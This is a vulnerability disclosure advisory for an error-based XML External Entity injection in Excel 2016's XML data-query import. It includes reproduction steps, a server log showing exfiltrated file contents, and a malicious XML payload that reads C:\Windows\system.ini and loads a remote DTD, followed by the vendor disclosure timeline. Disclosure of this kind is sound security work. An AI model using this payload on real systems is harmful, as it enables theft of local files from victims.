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[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-EXCEL-2016-v1901-IMPORT-ERROR-EXTERNAL-ENTITY-INJECTION.txt
[+] ISR: ApparitionSec
[Vendor]
www.microsoft.com
[Product]
Excel 2016 v1901
Microsoft Excel is a spreadsheet developed by Microsoft for
Windows, macOS, Android and iOS.
It features calculation, graphing tools, pivot tables, and a macro
programming language called Visual Basic for Applications.
[CVE]
N/A
[Vulnerability Type]
Error Import Based XML External Entity Injection
[Security Issue]
Excel query from file feature is vulnerable to "Error" based XML
External Entity attacks, if the user chooses the "Import as
Html page" functionality upon receiving errors importing a
specially crafted XML file.
This can result in potential remote data exfiltration, user interaction is required to exploit this vulnerability.
Tested successfuly Windows 10 .NET framework version v4.0.30319.
C:\>dir /b %windir%\Microsoft.NET\Framework\v*
v4.0.30319
[Exploit/POC]
Create a new ".xlsx" file then, go to Data tab and choose 'New
Query/From File/From XML'
1) You will get error like:
"Error:
Unable to connect
We encountered an error while trying to connect.
The user will then get an option to 'Edit' where they can import the file as an HTML file
Result Local data can be exfiltrated to remote server"
2) Excel will then give you option to 'Edit' and import as 'Html Page' from the drop down menu in Excel
User has choose to import as HTML then XXE attack will succeed:
e.g.
127.0.0.1 - - [05/Mar/2019 15:31:16] "GET
/?;%20for%2016-bit%20app%20support[386Enh]woafont=dosapp.fonEGA80WOA.FON=EGA80WOA.FO
/1.1" 200 -
Malicious XML file to load as New Data Query
"test.xml"
<?xml version='1.0'?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM 'C:\Windows\system.ini'>
<!ENTITY % dtd SYSTEM
'http://127.0.0.1:8000/payload.dtd'>
%dtd;]>
<pwn>&send;</pwn>
[Network Access]
Local
[Severity]
Medium
[Disclosure Timeline]
Vendor Notification: May 10, 2019
MSRC: May 17, 2019 "case did not meet the bar for servicing as a
Security Release.
Engineering Team may or may not fix in a future version of the
release."
November 30, 2019 : Public Disclosure
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